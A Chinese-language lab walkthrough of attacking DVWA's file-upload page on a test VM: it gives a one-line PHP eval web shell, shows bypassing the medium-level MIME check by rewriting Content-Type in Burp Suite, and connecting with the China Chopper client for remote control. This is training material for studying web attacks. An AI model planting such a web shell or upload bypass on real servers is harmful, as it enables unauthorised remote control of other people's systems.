利用文件上传漏洞进行攻击实践

1. 环境准备
2. 系统环境

攻击机-本机windows8

攻击机-虚拟机Linux-Kali

靶机-虚拟机LInux-OWASP

1. 软件环境

Window版本的“中国菜刀”

靶机中的dvwa web程序

攻击机Kali中的Burpsuite程序

1. 操作步骤
2. 准备后门文件test1.php
3. 编辑test1.php文件内容为 <?php @eval($\_POST['chopper']);?>
4. 将test1.php发送到攻击机Kali中
5. 使用Kali中的Burpsuite软件开启代理功能，使用默认设置绑定ip为本机的8080端口
6. 启动靶机OWASP
7. 使用命令 ipconfig 获取到靶机的ip地址
8. 在Kali的FireFox浏览器中设置使用代理，代理ip为localhost本机，端口为8080
9. 在Kali的FireFox浏览器中使用上一步获取到的ip地址访问靶机上的dvwa项目
10. 访问项目主页中的Damn Vulnerable Web Application模块，账号和密码为admin、admin
11. 在左侧的security中设置安全等级为中
12. 进入左侧的upload页面
13. 将test1.php文件添加到文件选择框中，点击upload发送上传请求
14. 此时发送的请求会被Burpsuite拦截到，在Burpsuite中查看拦截到的请求
15. 将请求头中的Content-type属性改为image/jpeg，然后点击forward放行请求
16. 回到浏览器，发现此时文件已经上传成功，下方显示上传的文件所在路径
17. 复制该路径追加到地址栏并访问测试是否具有对该文件的访问权限
18. 在windows中打开中国菜刀，新建连接，输入刚才文件上传所在路径，输入接口名为php文件中设置的接口名，然后打开连接
19. 连接成功之后即可对靶机进行远程控制
20. 原理解析

中国菜刀实际上是一个webshell脚本，通过远程的接口与远程主机建立连接，所以只要将接口文件上传到远程主机，并且使得这个接口文件可以对外被访问，那么就可以实现远程控制。

在dvwa的中安全等级的文件上传中，对上传文件的mime类型进行检查，而这个mime类型是存放到request头信息中作为一个参数传递的，所以只需要将这个请求拦截下来并对其mime类型参数进行修改，然后再将修改后的请求发送出去就可以完成对类型检查的欺骗。